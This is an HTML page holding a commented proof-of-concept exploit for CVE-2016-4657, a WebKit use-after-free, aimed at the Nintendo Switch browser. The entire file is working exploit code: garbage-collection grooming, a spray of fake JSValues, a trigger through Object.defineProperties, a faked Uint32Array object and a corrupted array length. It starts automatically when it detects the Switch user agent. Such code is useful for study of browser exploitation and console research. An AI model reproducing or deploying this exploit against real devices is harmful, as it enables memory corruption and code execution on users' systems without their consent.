Permalink
| <!doctype html> | |
| <html> | |
| <head> | |
| <title>CVE-2016-4657 Switch PoC</title> | |
| <style> | |
| body {font-size: 2em;} | |
| a {text-decoration: none; color: #000;} | |
| a:hover {color: #f00; font-weight: bold;} | |
| </style> | |
| </head> | |
| <body> | |
| <h1>CVE-2016-4657 Nintendo Switch PoC</h1> | |
| <ul> | |
| <li><a href='javascript:go();'>🔥 go!</a></li> | |
| <li><a href='javascript:document.location.reload();'>🔄 reload</a></li> | |
| </ul> | |
| <div id='status'>😴 waiting... click go.</div> | |
| <script> | |
| // display JS errors as alerts. Helps debugging. | |
| window.onerror = function(error, url, line) { | |
| alert(error+' URL:'+url+' L:'+line); | |
| }; | |
| </script> | |
| <script> | |
| // based on jbme.qwertyoruiop.com | |
| // Thanks to: | |
| // + qwertyoruiop | |
| // + Retr0id | |
| // + Ando | |
| // | |
| // saelo's phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html | |
| // garbage collection stuff | |
| var pressure = new Array(100); | |
| // do garbage collect | |
| dgc = function() { | |
| for (var i = 0; i < pressure.length; i++) { | |
| pressure[i] = new Uint32Array(0x10000); | |
| } | |
| for (var i = 0; i < pressure.length; i++) { | |
| pressure[i] = 0; | |
| } | |
| } | |
| // access to the overlapping Uint32Array | |
| var bufs = new Array(0x1000); | |
| // we will modify the vector of this | |
| var smash = new Uint32Array(0x10); | |
| // the array with the stale pointer | |
| var stale = 0; | |
| var _dview = null; | |
| // write 2x 32bit in a DataView and get the Float representation of it | |
| function u2d(low, hi) { | |
| if (!_dview) _dview = new DataView(new ArrayBuffer(16)); | |
| _dview.setUint32(0, hi); | |
| _dview.setUint32(4, low); | |
| return _dview.getFloat64(0); | |
| } | |
| function go_() { | |
| // check if the length of the array smash changed already. if yes, bail out. | |
| if (smash.length != 0x10) return; | |
| // garbage collect | |
| dgc(); | |
| // new array with 0x100 elements | |
| var arr = new Array(0x100); | |
| // new array buffer of length 0x1000 | |
| var yolo = new ArrayBuffer(0x1000); | |
| // populate the arr with pointer to yolo and a number. not quite sure why. | |
| arr[0] = yolo; | |
| arr[1] = 0x13371337; | |
| // create an object whos toString function returns number 10 and messes with arr. | |
| var not_number = {}; | |
| not_number.toString = function() { | |
| arr = null; | |
| props["stale"]["value"] = null; | |
| // if bufs is already overlapping memory, bail out. | |
| if (bufs[0]) return 10; | |
| // really make sure garbage is collected | |
| // the array pointed at by arr should be gone now. | |
| for (var i = 0; i < 20; i++) { | |
| dgc(); | |
| } | |
| // for the whole buf Array | |
| for (i = 0; i < bufs.length; i++) { | |
| // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier | |
| bufs[i] = new Uint32Array(0x100 * 2) | |
| // for each element of that array | |
| for (k = 0; k < bufs[i].length;) { | |
| // set memory to 0x41414141 0xffff0000 | |
| // basically spraying the JSValue 0xffff000041414141 | |
| // which is the Integer 0x41414141 | |
| // phrack: Integer FFFF:0000:IIII:IIII | |
| bufs[i][k++] = 0x41414141; | |
| bufs[i][k++] = 0xffff0000; | |
| } | |
| } | |
| return 10; | |
| }; | |
| // define a new object with some properties | |
| var props = { | |
| p0: { value: 0 }, | |
| p1: { value: 1 }, | |
| p2: { value: 2 }, | |
| p3: { value: 3 }, | |
| p4: { value: 4 }, | |
| p5: { value: 5 }, | |
| p6: { value: 6 }, | |
| p7: { value: 7 }, | |
| p8: { value: 8 }, | |
| // the length of this object is set to this object that does evil stuff with toString() | |
| length: { value: not_number }, | |
| // the reference to the arr array. Which will later be freed. | |
| stale: { value: arr }, | |
| after: { value: 666 } | |
| }; | |
| // define a new target array | |
| var target = []; | |
| // TRIGGER BUG! | |
| // set the properties of the target based on the previously defined ones | |
| Object.defineProperties(target, props); | |
| // get a reference to the target stale property, which points to arr | |
| stale = target.stale; | |
| // make sure that the stale[0] points actually to the 0x41414141 data if not, we don't wanna mess with it and try again | |
| if(stale[0]==0x41414141) { | |
| // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242 | |
| stale[0] += 0x101; | |
| //stale[0] = 0x41414242; | |
| //document.getElementById('status').innerText = 'bug done.'; | |
| // searching the whole memory that is overlaying the old arr. Looking for 0x41414242 | |
| for (i = 0; i < bufs.length; i++) { | |
| for (k = 0; k < bufs[0].length; k++) { | |
| // Found the value! bufs[i][k] point now at the same memory as stale[0] | |
| if (bufs[i][k] == 0x41414242) { | |
| alert('Overlapping Arrays found at bufs['+i+']['+k+']\nsmash.length is still: 0x'+smash.length.toString(16)); | |
| // create a new object. Will look kinda like this: | |
| // 0x0100150000000136 0x0000000000000000 <- fictional value | |
| // 0x0000000000000064 0x0000000000000000 <- ['a'],['b'] | |
| // 0x???????????????? 0x0000000000000100 <- ['c'],['d'] | |
| stale[0] = { | |
| 'a': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array | |
| 'b': u2d(0, 0), | |
| 'c': smash, // var pointing at the struct of a Uint32Array(0x10) | |
| 'd': u2d(0x100, 0) | |
| } | |
| alert('created the JSObject.\nstale[0] = '+stale[0]); | |
| // remember the original stale pointer, pointing at the object with the a,b,c,d properties | |
| stale[1] = stale[0]; | |
| // now add 0x10 to the pointer of stale[0], which points now in the middle of the object. | |
| bufs[i][k] += 0x10; | |
| // check the type of stale[0]. | |
| // removed the loop because it makes the exploit sooooooo unreliable | |
| // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html) | |
| /*while(!(stale[0] instanceof Uint32Array)) { | |
| // if stale[0] is not a Uint32Array yet, increment the structureID guess | |
| structureID++; | |
| // assign the next structureID to the original object still referenced by stale[1] | |
| stale[1]['a'] = u2d(structureID, 0); | |
| }*/ | |
| // Give some information. stale[0] should now be a Uint32Array | |
| alert('misaligned the pointer to the JSObject.\nstale[0] = '+stale[0]+''); | |
| // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array | |
| // which should point to the struct of smash, allowing us to overwrite the length of smash | |
| stale[0][6] = 0x1337; | |
| // check the length of smash is now. | |
| alert('smash.length is now: 0x'+smash.length.toString(16)); | |
| alert('done!\nswitch will probably crash now :O'); | |
| return; | |
| } | |
| } | |
| } | |
| } | |
| document.getElementById('status').innerText = '💩 fail. refresh the page and try again...'; | |
| setTimeout(function() {document.location.reload();}, 1000); | |
| } | |
| function go() { | |
| document.getElementById('status').innerText = '🔥🔥🔥 go! 🔥🔥🔥'; | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| dgc(); | |
| setTimeout(go_, 500); | |
| } | |
| // if Switch browser is detected, auto start exploit | |
| if(navigator.userAgent.indexOf('Nintendo Switch')>-1) { | |
| document.getElementById('status').innerText = 'Found Nintendo Switch! 🤖'; | |
| setTimeout(go, 2000); | |
| } | |
| </script> | |
| </body> | |
| </html> |